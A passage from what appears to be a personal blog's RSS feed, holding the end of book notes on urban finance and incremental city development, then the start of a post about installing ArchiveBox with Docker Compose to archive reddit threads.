&lt;li>Shared walls with neighboring businesses meant lower heating costs.&lt;/li>
&lt;li>Close neighbors means better security.&lt;/li>
&lt;li>The building had a simple structure.
&lt;ul>
&lt;li>Owner could convert it to something else if the restaurant folded&lt;/li>
&lt;li>Owner could expand the building if the restaurant flourished.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="complex-vs-complicated">Complex vs. complicated&lt;/h3>
&lt;ul>
&lt;li>Cities are complex, not just complicated.&lt;/li>
&lt;li>Complicated systems can have simple behavior.
&lt;ul>
&lt;li>e.g., a mechanical watch is complicated but predictable.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Cities are both complicated and complex.
&lt;ul>
&lt;li>They contain interrelated systems that are difficult to predict.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Complex systems are fragile and need flexibility to adapt in order to survive.&lt;/li>
&lt;/ul>
&lt;h3 id="zoning-manages-complexity-poorly">Zoning manages complexity poorly&lt;/h3>
&lt;ul>
&lt;li>People traditionally manage cities with zoning for ease of legislation.&lt;/li>
&lt;li>Zoning is too crude a tool for managing something as complex as a city.
&lt;ul>
&lt;li>Zoning laws prevent the city from adapting naturally to new conditions.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="evolution-of-brainerd-mn">Evolution of Brainerd, MN&lt;/h3>
&lt;ul>
&lt;li>The author found photos of Brainerd, MN (his hometown) in its early days.
&lt;ul>
&lt;li>In the earliest photos, there are a set of makeshift stores but no real road.&lt;/li>
&lt;li>30 years later, there were roads, and the makeshift stores were replaced by well-constructed to buildings two or three stories high.&lt;/li>
&lt;li>30 years after that, they replaced wood structures with buildings made of stone.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>First generation: pop-up shacks, no sewage or sidewalks&lt;/li>
&lt;li>Second generation&amp;rsquo;. Two-and three-story wood buildings, sidewalks, gravel streets&lt;/li>
&lt;li>Third generation: Brick and granite buildings, concrete sidewalks, asphalt streets.&lt;/li>
&lt;/ul>
&lt;h3 id="private-investment-should-precede-public-infrastructure">Private investment should precede public infrastructure&lt;/h3>
&lt;ul>
&lt;li>Through most of history, most cities developed like Brainerd, MN did.
&lt;ul>
&lt;li>Businesses would make small bets on a new area, then incrementally build more as the area succeeded.&lt;/li>
&lt;li>Importantly, private investment came first, then public investment (e.g., roads, police) followed.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>When private investment starts a city, the private sector bears the risk of the city folding.&lt;/li>
&lt;/ul>
&lt;h3 id="modern-city-planning-invests-backwards">Modern city planning invests backwards&lt;/h3>
&lt;ul>
&lt;li>Modern city planning makes big bets on the public side.
&lt;ul>
&lt;li>The public makes huge investments in infrastructure before private businesses move in.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>We build public infrastructure to a finished state instead of fostering adaptation and incremental improvement.&lt;/li>
&lt;/ul>
&lt;h3 id="stagnation-of-residential-homes">Stagnation of residential homes&lt;/h3>
&lt;ul>
&lt;li>Houses are also built to finished state due to the friction involved in modifying a house.
&lt;ul>
&lt;li>Prior to the 1920s, houses were mostly simple boxes, and they were built to make it easy to add on to them if conditions in your life changed.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Several factors prevent houses from evolving:
&lt;ul>
&lt;li>There are legal obstacles to converting a single family house into a multi-family house or a business: zoning laws, land covenants, building regulations, property associations.&lt;/li>
&lt;li>Building regulations increase the cost, time, and difficulty of modifying a house.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Building everything in a home all at once means that important components all need replacement or maintenance around the same time.&lt;/li>
&lt;li>Developing a house incrementally means maintenance requirements are smoothed out.&lt;/li>
&lt;/ul>
&lt;h3 id="property-value--building-value--land-value">Property value = Building value + Land value&lt;/h3>
&lt;ul>
&lt;li>The amount you&amp;rsquo;d invest in a building is a function of the value of its underlying land.
&lt;ul>
&lt;li>If a building in Manhattan costs $10m to build, the result is worth far more than $10m because land in Manhattan is so valuable.&lt;/li>
&lt;li>If you spent $10m to build a building in outer Detroit, the result would be worth less than $10m, which indicates the land has negative value.&lt;/li>
&lt;li>You&amp;rsquo;d never buy land in Manhattan to park a mobile home because there are much more lucrative structures to put on such valuable land.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>When building value is high relative to the land, it drives up the value of the surrounding land.
&lt;ul>
&lt;li>e.g., a fancy hotel makes the surrounding area more valuable.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>When building value is low relative to land value, there&amp;rsquo;s redevelopment pressure.
&lt;ul>
&lt;li>e.g., if a small home is in an expensive neighborhood , it&amp;rsquo;s profitable to tear it down or expand the building.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="natural-evolution-of-cities">Natural evolution of cities&lt;/h3>
&lt;ul>
&lt;li>The property value equation guides the natural growth of cities:
&lt;ol>
&lt;li>A few people build shacks together in a new area.&lt;/li>
&lt;li>More people join them and build more shacks nearby.&lt;/li>
&lt;li>The land becomes more valuable because it has more buildings clustered together.&lt;/li>
&lt;li>Redevelopment pressure pushes some owners to renovate their shacks into better structures.&lt;/li>
&lt;li>The nicer buildings have incentive to invest in shared infrastructure like roads and fire protection.&lt;/li>
&lt;li>The infrastructure increases land value, incentivizing more redevelopment.&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>The flaw in this pattern is that it limits social mobility.
&lt;ul>
&lt;li>As a town is growing, poorer residents can grow with it.&lt;/li>
&lt;li>Once a city reaches maturity, land is only affordable to the entrenched elites.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="public-and-private-investment">Public and private investment&lt;/h3>
&lt;ul>
&lt;li>Today in the US, public investment precedes private investment.&lt;/li>
&lt;li>The government takes on most of the risk in developing cities.
&lt;ul>
&lt;li>When private developers make initial investment, the government often finances the deal and assumes the risk if development fails.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The government also assumes long-term maintenance responsibilities in cities.&lt;/li>
&lt;li>When development is built to a finished state instead of growing organically and incrementally, early residents have incentive to constrain growth.
&lt;ul>
&lt;li>Every new neighbor is another person with whom you have to share limited resources like roads, parks, and libraries.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="cities-must-profit">Cities must profit&lt;/h3>
&lt;ul>
&lt;li>A city must earn a profit in the long term to continue existing.
&lt;ul>
&lt;li>A city that runs a long-term deficit will eventually fail to provide necessary services because there will be no money to pay for them.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Cities must make investments that earn a positive return.
&lt;ul>
&lt;li>e.g., if a city invests $1m in repairing a street, the street must generate at least $1m over its lifetime for the investment to be worthwhile.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="government-buildings-as-an-investment">Government buildings as an investment&lt;/h3>
&lt;ul>
&lt;li>Traditional cities invested heavily in government buildings like city halls.
&lt;ul>
&lt;li>An opulent city hall increased the value of the surrounding land.&lt;/li>
&lt;li>This created a positive return on investment, as a prosperous neighborhood increased the tax revenue the town could collect.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Current strategy in the US is to build city hall in a cheap office building with lots of parking.&lt;/li>
&lt;/ul>
&lt;h3 id="infrastructure-does-not-cover-costs">Infrastructure does not cover costs&lt;/h3>
&lt;ul>
&lt;li>In the author&amp;rsquo;s role as engineer, he began calculating return on investment for various projects his firm was involved in.&lt;/li>
&lt;li>In almost every project, the city planned to spend more on the project than it would recoup in taxes for the next 20-40 years.&lt;/li>
&lt;/ul>
&lt;h3 id="jobs-dont-benefit-a-city">Jobs don&amp;rsquo;t benefit a city&lt;/h3>
&lt;ul>
&lt;li>Infrastructure proponents often cite job creation as a reason to take on infrastructure projects.&lt;/li>
&lt;li>Creating jobs for infrastructure projects don&amp;rsquo;t really benefit cities that create them.
&lt;ul>
&lt;li>Income taxes go to the state, not local government.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Thought experiment: Job City vs. House City
&lt;ul>
&lt;li>Imagine two cities: Job City and House City.&lt;/li>
&lt;li>1,000 people live in House City, and nobody lives in Job City.&lt;/li>
&lt;li>Every day, every resident of House City commutes to Job City to work for the day, then return at night to House City.&lt;/li>
&lt;li>Even though Job City has all the jobs, it would have nearly zero tax revenue because only House City collects taxes from the homeowners.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="growth-driven-city-financing">Growth-driven city financing&lt;/h3>
&lt;ul>
&lt;li>Suppose a city accepted a land development from a private investor.
&lt;ul>
&lt;li>An investor puts up all the money, but the city is responsible for infrastructure maintenance.&lt;/li>
&lt;li>Cash flow will be positive for first 15-20 years as city collects tax revenue from new residents.&lt;/li>
&lt;li>As soon as the development requires maintenance (e.g., road repair, sewage repair), cash flow goes severely negative because infrastructure built around the same time will require repair around the same time.&lt;/li>
&lt;li>Cities try to solve the cash flow problem by soliciting new development, but that just delays and intensifies the problem.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Case study: Detroit
&lt;ul>
&lt;li>Many see the downfall of Detroit as a result of government corruption.&lt;/li>
&lt;li>Author sees Detroit&amp;rsquo;s failure as the same that will befall most US cities.&lt;/li>
&lt;li>Detroit was the first city designed around cars.&lt;/li>
&lt;li>Detroit spread residents out to the suburbs and ran roadways through cities,
&lt;ul>
&lt;li>This created more infrastructure maintenance costs than the city could afford.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>When wealthy people saw the city start to collapse under growing maintenance costs, they fled to cities that were still in the growth part of their lifecycle.&lt;/li>
&lt;li>The loss of tax revenue from residents leaving accelerated the collapse.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="the-infrastructure-cult">The infrastructure cult&lt;/h3>
&lt;ul>
&lt;li>Investing in public infrastructure is popular politically, but it&amp;rsquo;s often irrational.&lt;/li>
&lt;li>Cities spend millions on new roads while they&amp;rsquo;re struggling to maintain their existing roads.&lt;/li>
&lt;li>Failure to Act report
&lt;ul>
&lt;li>In their 2011 report, &lt;a href="https://www.asce.org/advocacy/infrastructure/failure-to-act-reports/">Failure to Act&lt;/a>, the American Society of Civil Engineers (ASCE) made illogical claims about America&amp;rsquo;s need to invest in infrastructure.&lt;/li>
&lt;li>The report claimed that weaknesses is infrastructure would cost $1T over the next 10 yrs.&lt;/li>
&lt;li>The report recommended that the US spend an extra $220B/yr to prevent infrastructure from deteriorating,
&lt;ul>
&lt;li>i.e., the US should spend $2.2T to avoid a loss of $1T.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="infrastructure-projects-exaggerate-their-returns">Infrastructure projects exaggerate their returns&lt;/h3>
&lt;ul>
&lt;li>When planners estimate that a new road will generate $X of value, they calculate something like:
&lt;ul>
&lt;li>Road will save drivers an average of 30s per day.&lt;/li>
&lt;li>100k people drive on the road per day.&lt;/li>
&lt;li>Road will save 30 x 100k = 3M seconds per day (833 hours).&lt;/li>
&lt;li>Median wage in the area is $25/hr.&lt;/li>
&lt;li>Therefore, road generates 833 x 25 = $20,825 per day or $7.6M per year.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Flaws in this logic.
&lt;ul>
&lt;li>Ignores time it costs drivers due to construction and maintenance.&lt;/li>
&lt;li>People don&amp;rsquo;t necessarily use an extra 30s to work more.
&lt;ul>
&lt;li>They might sleep in longer.&lt;/li>
&lt;li>They might move farther from their job.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="irrational-municipal-accounting">Irrational municipal accounting&lt;/h3>
&lt;ul>
&lt;li>Cities have balance sheets listing assets and liabilities.&lt;/li>
&lt;li>According to generally accepted accounting principles, infrastructure is considered an asset.
&lt;ul>
&lt;li>This makes no sense because a city can&amp;rsquo;t sell a road and it doesn&amp;rsquo;t directly earn revenue from it.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Even though the city earns revenue from properties in its city, the tax base does not count as an asset.&lt;/li>
&lt;li>Cities add infrastructure because it makes their balance sheets look stronger.
&lt;ul>
&lt;li>In reality, infrastructure drains money.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="postwar-period-corrupted-city-management">Postwar period corrupted city management&lt;/h3>
&lt;ul>
&lt;li>Postwar WWII wealth screwed up city management.&lt;/li>
&lt;li>The US had an abundance of wealth, so we stopped designing cities with financial constraints in mind.&lt;/li>
&lt;li>It was a period of rapid suburban expansion.&lt;/li>
&lt;li>Prosperity changed urban planning.
&lt;ul>
&lt;li>Cities could expand without caring about costs because so much money was flowing into the economy.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="automobiles-impact-on-cities">Automobiles&amp;rsquo; impact on cities&lt;/h3>
&lt;ul>
&lt;li>Cars influenced urban design in the 50s with the idea that connecting two places with roads and highways would increase the value of both.
&lt;ul>
&lt;li>A more connected city is more valuable.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Instead, it drove down land prices because suburbanization meant people could live much farther from city centers.
&lt;ul>
&lt;li>Tons of new land opened up for housing.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Cars upended the traditional pattern for growing and sustaining cities.
&lt;ul>
&lt;li>As land values in city centers dropped, there was insufficient tax revenue to pay for maintenance.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="funding-growth-through-debt">Funding growth through debt&lt;/h3>
&lt;ul>
&lt;li>After the economy slowed down in the 60s, cities took on debt as a way to fund growth.
&lt;ul>
&lt;li>This only works if the economy grows in the future, as infrastructure investments rarely earn a positive return.&lt;/li>
&lt;li>Cities get stuck in a cycle of relying on debt to pay for infrastructure, then needing even more debt to survive.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Case study: Lafayette, LA
&lt;ul>
&lt;li>Between 1949 and 2015, infrastructure growth far outstripped income.&lt;/li>
&lt;li>1,000% increase in pipes per capita.&lt;/li>
&lt;li>2,140% increase in fire hydrants per capita.&lt;/li>
&lt;li>Only 160% increase in average inflation-adjusted income.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="old-and-blighted-vs-new-and-shiny">Old and blighted vs. new and shiny&lt;/h3>
&lt;ul>
&lt;li>In author&amp;rsquo;s hometown, there are two similar blocks close to each other.
&lt;ul>
&lt;li>Old and blighted: a series of pop-up shacks built in early 1900s that include a pawn shop, a bankruptcy attorney, and a local restaurant.&lt;/li>
&lt;li>New and shiny: a franchise restaurant that moved in and added its own parking lot, allowing the city to eliminate street parking in favor of supporting more traffic.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Comparing the two blocks by taxable revenue:
&lt;ul>
&lt;li>Old and blighted: total taxable value of businesses: $1.1M&lt;/li>
&lt;li>New and shiny: $620k&lt;/li>
&lt;li>Old and blighted generates 77% more revenue for the city.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Comparing impact on community:
&lt;ul>
&lt;li>Businesses in the old and blighted block hire employees locally and use local vendors for things like accounting, sign making, and legal services.&lt;/li>
&lt;li>New block&amp;rsquo;s franchise wouldn&amp;rsquo;t disclose information to the author, but they likely created fewer full-time jobs and use out-of-state vendors for most services.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Tax incentives
&lt;ul>
&lt;li>The franchise restaurant already had a location in town three blocks from the new location,&lt;/li>
&lt;li>The franchise built the additional location because the city offered them a tax rebate to redevelop a blighted block.&lt;/li>
&lt;li>In effect, the city paid the franchise to tear down a block that likely generated more revenue than the franchise would ever generate.
&lt;ul>
&lt;li>The city can&amp;rsquo;t even start collecting taxes from the new block for 20+ years due to the rebate.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="big-box-stores-vs-downtown-businesses">Big box stores vs. downtown businesses&lt;/h3>
&lt;ul>
&lt;li>In author&amp;rsquo;s town, a big box store along the highway is the largest single taxpayer in the city.
&lt;ul>
&lt;li>The store consequently wields significant political influence.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The city built the infrastructure to attract the big box store using large federal grants, but the city is still responsible for long-term maintenance of that infrastructure.
&lt;ul>
&lt;li>If the big box store vacates the location, the replacement will likely be something that generates lower tax revenue (e.g, warehouse, church), but the city stil bears the high maintenance cost.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Comparing the big box location to downtown businesses, the businesses collectively generate similar revenue but require less infrastructure to mantain.
&lt;ul>
&lt;li>If one business closes, it&amp;rsquo;s easy to replace it with a similar business.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="value-per-acre">Value per acre&lt;/h3>
&lt;ul>
&lt;li>The common way to evaluate a municipal project is to calculate return on investment.&lt;/li>
&lt;li>Author advocates using value per acre as an approximation for return on investment.
&lt;ul>
&lt;li>He claims it&amp;rsquo;s a lot faster to calculate and usually correlates with the result of a more rigorous ROI analysis.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Comparing a Walmart in Asheville to a downtown building, the downtown building generates 100x more property tax per acre and 76% more sales tax.&lt;/li>
&lt;li>&lt;a href="https://www.urbanthree.com/">Urban3&lt;/a> did a large study of value per acre in different cities across the US and found several trends.
&lt;ul>
&lt;li>Older neighborhoods outperform newer neighborhoods (especially neighborhoods that formed before 1930 vs. after 1950).&lt;/li>
&lt;li>Poorer neighborhoods generate more value per acre than wealthy neighborhoods.&lt;/li>
&lt;li>Areas close to the &amp;ldquo;core&amp;rdquo; of a neighborhood generate more value.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="budget-for-maintenance">Budget for maintenance&lt;/h3>
&lt;ul>
&lt;li>Most cities prioritize maintenance based on age of infrastructure and how severely it needs maintenance.&lt;/li>
&lt;li>Most cities run at a deficit, so they can&amp;rsquo;t really maintain all of their infrastructure.&lt;/li>
&lt;li>Author argues that cities should spend all of their maintenance budget obsessively maintaining areas with highest value per ace.
&lt;ul>
&lt;li>&amp;ldquo;Obsessive&amp;rdquo; like how Disney World maintains their parks.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Rationale: Invest in areas that are profitable so that maintenance is sustainable.
&lt;ul>
&lt;li>Residents will respond to public investment with private investment because they have more confidence the city will continue investing in them.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Infrastructure will fail in low value per acre areas, causing those neighborhoods to contract.
&lt;ul>
&lt;li>This is a calculated loss, as most cities sprawl unsustainably.&lt;/li>
&lt;li>Cities have to shed some infrastructure and concentrate the population into an area that generates enough tax revenue to sustainably fund infrastructure maintenance.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="why-is-a-20-story-building-next-to-a-one-story-building">Why is a 20-story building next to a one-story building?&lt;/h3>
&lt;ul>
&lt;li>US cities often have wildly different building types next to each other in ways that seem irrational.
&lt;ul>
&lt;li>e.g., a 20-story building will be next to a one-story building.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Thought experiment: three lots are in a row and are the same size.
&lt;ol>
&lt;li>A single-family home worth $200k&lt;/li>
&lt;li>A vacant lot&lt;/li>
&lt;li>A 20-story building worth $10M&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>What is the value of lot (2)?
&lt;ul>
&lt;li>A $10M property implies the underlying property is worth around $1.5M.&lt;/li>
&lt;li>The owner of the vacant lot would want to sell to another 20-story developer for $1.5M.&lt;/li>
&lt;li>Actually, it&amp;rsquo;s a trick question because if a vacant lot is worth $1.5M, then the single-family home&amp;rsquo;s lot must also be worth ~$1.5M.
&lt;ul>
&lt;li>A developer can purchase the house, demolish it, then build a $10M building for a profit.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>In reality, $10M buildings exist next to $200k homes, so how can that be?&lt;/li>
&lt;li>Regulation artifically limits development.
&lt;ul>
&lt;li>It&amp;rsquo;s roughly the same regulatory difficulty to build a 5-story building as a 20-story building, so development is pushed to the extremes.
&lt;ul>
&lt;li>Development can&amp;rsquo;t follow free market forces, so expensive buildings appear, seemingly at random, often due to corrupt connections between developers and regulators.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="subsidiarity">Subsidiarity&lt;/h3>
&lt;ul>
&lt;li>Subsidiarity is the idea that rules should be made by the lowest level of government capable of making the decision intelligently.&lt;/li>
&lt;li>Who should decide whether residents should be allowed to keep chickens in their backyard?
&lt;ul>
&lt;li>It would be absurd for the federal government to make this decision.&lt;/li>
&lt;li>The decision only affects a few immediate neighbors around the house.&lt;/li>
&lt;li>The ideal outcome would be if the neighbors talk and make a decision amongst themselves without a formal law.&lt;/li>
&lt;li>The next step up would be local government helps the neighbors reach a decision, but without a law.&lt;/li>
&lt;li>The next step up would be the town passing a law about backyard chickens.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Who should decide if a regional transit line is built?
&lt;ul>
&lt;li>This decision requires more context than a few neighbors, so this should happen at the city or state level.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>ArchiveBox is Super Cool</title><link>https://mtlynch.io/notes/archivebox/</link><pubDate>Sat, 13 Jan 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/archivebox/</guid><description>&lt;p>Have you ever used archive.org&amp;rsquo;s &lt;a href="https://web.archive.org/">Internet Wayback Machine&lt;/a>? It&amp;rsquo;s a free tool that&amp;rsquo;s been archiving the web since 1996. So, if you want to see what Google looked like in 1999, &lt;a href="https://web.archive.org/web/19990422191353/http://google.com/">they&amp;rsquo;ve got it&lt;/a>.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 488px">



 &lt;a href="https://mtlynch.io/notes/archivebox/google-1999.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 488px, 98vw"
 srcset='https://mtlynch.io/notes/archivebox/google-1999_hu_b10a9e95e2939853.png 300w, https://mtlynch.io/notes/archivebox/google-1999.png 486w'
 src="https://mtlynch.io/notes/archivebox/google-1999.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Internet Archive capture of Google from April 22, 1999&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>&lt;a href="https://archivebox.io/">ArchiveBox&lt;/a> is like your own, personal Internet Wayback Machine. It&amp;rsquo;s free and open-source, and you can use it to archive most websites.&lt;/p></description><content:encoded>&lt;p>Have you ever used archive.org&amp;rsquo;s &lt;a href="https://web.archive.org/">Internet Wayback Machine&lt;/a>? It&amp;rsquo;s a free tool that&amp;rsquo;s been archiving the web since 1996. So, if you want to see what Google looked like in 1999, &lt;a href="https://web.archive.org/web/19990422191353/http://google.com/">they&amp;rsquo;ve got it&lt;/a>.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 488px">



 &lt;a href="https://mtlynch.io/notes/archivebox/google-1999.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 488px, 98vw"
 srcset='https://mtlynch.io/notes/archivebox/google-1999_hu_b10a9e95e2939853.png 300w, https://mtlynch.io/notes/archivebox/google-1999.png 486w'
 src="https://mtlynch.io/notes/archivebox/google-1999.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Internet Archive capture of Google from April 22, 1999&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>&lt;a href="https://archivebox.io/">ArchiveBox&lt;/a> is like your own, personal Internet Wayback Machine. It&amp;rsquo;s free and open-source, and you can use it to archive most websites.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/archivebox/archivebox-overview.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/archivebox/archivebox-overview_hu_4fcbee7faca155e3.png 300w, https://mtlynch.io/notes/archivebox/archivebox-overview_hu_b46e2cf08ddf9718.png 600w, https://mtlynch.io/notes/archivebox/archivebox-overview_hu_4826ab78c8fbe28b.png 800w, https://mtlynch.io/notes/archivebox/archivebox-overview.png 965w'
 src="https://mtlynch.io/notes/archivebox/archivebox-overview.png" alt="Screenshot of ArchiveBox dashboard" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>ArchiveBox is a free, open-source tool that lets you archive websites locally.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="why-archive">Why archive?&lt;/h2>
&lt;p>Until about a year ago, I never had the inclination to archive a website locally. There are tools online that archive websites and save a public copy, so why would I go to the trouble of self-hosting my own archive?&lt;/p>
&lt;p>Then, last year, there was a power grab from a lot of social media companies. reddit famously &lt;a href="https://techcrunch.com/2023/06/16/reddit-ceo-lashes-out-on-protests-moderators-and-third-party-apps/">locked down its third-party APIs&lt;/a>, which broke a lot of the sites that archived reddit. The reddit archive sites simply folded and the archives disappeared.&lt;/p>
&lt;p>I realized how much faith I was putting in these free, volunteer-run archive services despite many red flags that should have tipped me off that they were operationally unsustainable.&lt;/p>
&lt;p>So if I can&amp;rsquo;t rely on some cloud-based archiving service to stay online forever, I should retain my own copies of the things I care about.&lt;/p>
&lt;h2 id="installing-archivebox">Installing ArchiveBox&lt;/h2>
&lt;p>There are a few ways to install ArchiveBox, but I went with the recommended method of Docker Compose:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>mkdir archivebox &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#24909d">cd&lt;/span> archivebox &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> curl -O &lt;span style="color:#ed9d13">&amp;#39;https://raw.githubusercontent.com/ArchiveBox/ArchiveBox/dev/docker-compose.yml&amp;#39;&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> docker compose run archivebox init --setup
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>From there, I can bring up ArchiveBox by starting the Docker container:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker compose up
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It spins up a local web server on port 8000:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="http://localhost:8000">http://localhost:8000&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="archiving-reddit-posts">Archiving reddit posts&lt;/h2>
&lt;p>One of my all-time favorite reddit stories is the /r/legaladvice saga from &lt;a href="https://old.reddit.com/r/legaladvice/comments/2o3g9g/neighbors_stupidly_caused_themselves_to_be/">a guy whose neighbor &amp;ldquo;landlocked&amp;rdquo; himself&lt;/a>.&lt;/p>
&lt;p>The reddit poster&amp;rsquo;s neighbor owned property that included a driveway connecting their house to public roads, but they sold part of their land that included their driveway. As a result, the neighbor had no way of getting on or off their property without trespassing on property they didn&amp;rsquo;t own. The neighbor was trying to solve this by demanding access to the reddit poster&amp;rsquo;s private driveway.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/notes/archivebox/cTGdIPu.png">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/notes/archivebox/cTGdIPu_hu_540ac66103777997.png 300w, https://mtlynch.io/notes/archivebox/cTGdIPu_hu_cd0787e3c6ec56e3.png 600w, https://mtlynch.io/notes/archivebox/cTGdIPu_hu_9bed76bfd610e191.png 800w, https://mtlynch.io/notes/archivebox/cTGdIPu.png 813w'
 src="https://mtlynch.io/notes/archivebox/cTGdIPu.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Crude drawing that captured the excitement of /r/legaladvice board&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The story is told in three reddit threads:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://old.reddit.com/r/legaladvice/comments/2o3g9g/neighbors_stupidly_caused_themselves_to_be/">Neighbors stupidly caused themselves to be landlocked. Are we going to be legally required to share our private road?&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://old.reddit.com/r/legaladvice/comments/2ooy1x/update_my_neighbors_caused_themselves_to_be/">UPDATE: My neighbors caused themselves to be landlocked. Now the sheriff wants me to let them use my road.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://old.reddit.com/r/legaladvice/comments/4dci57/update_my_neighbors_caused_themselves_to_be/">UPDATE: My neighbors caused themselves to be landlocked, I posted here, it&amp;rsquo;s resolved now&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>So I pasted the three URLs into ArchiveBox:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/notes/archivebox/add-reddit.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
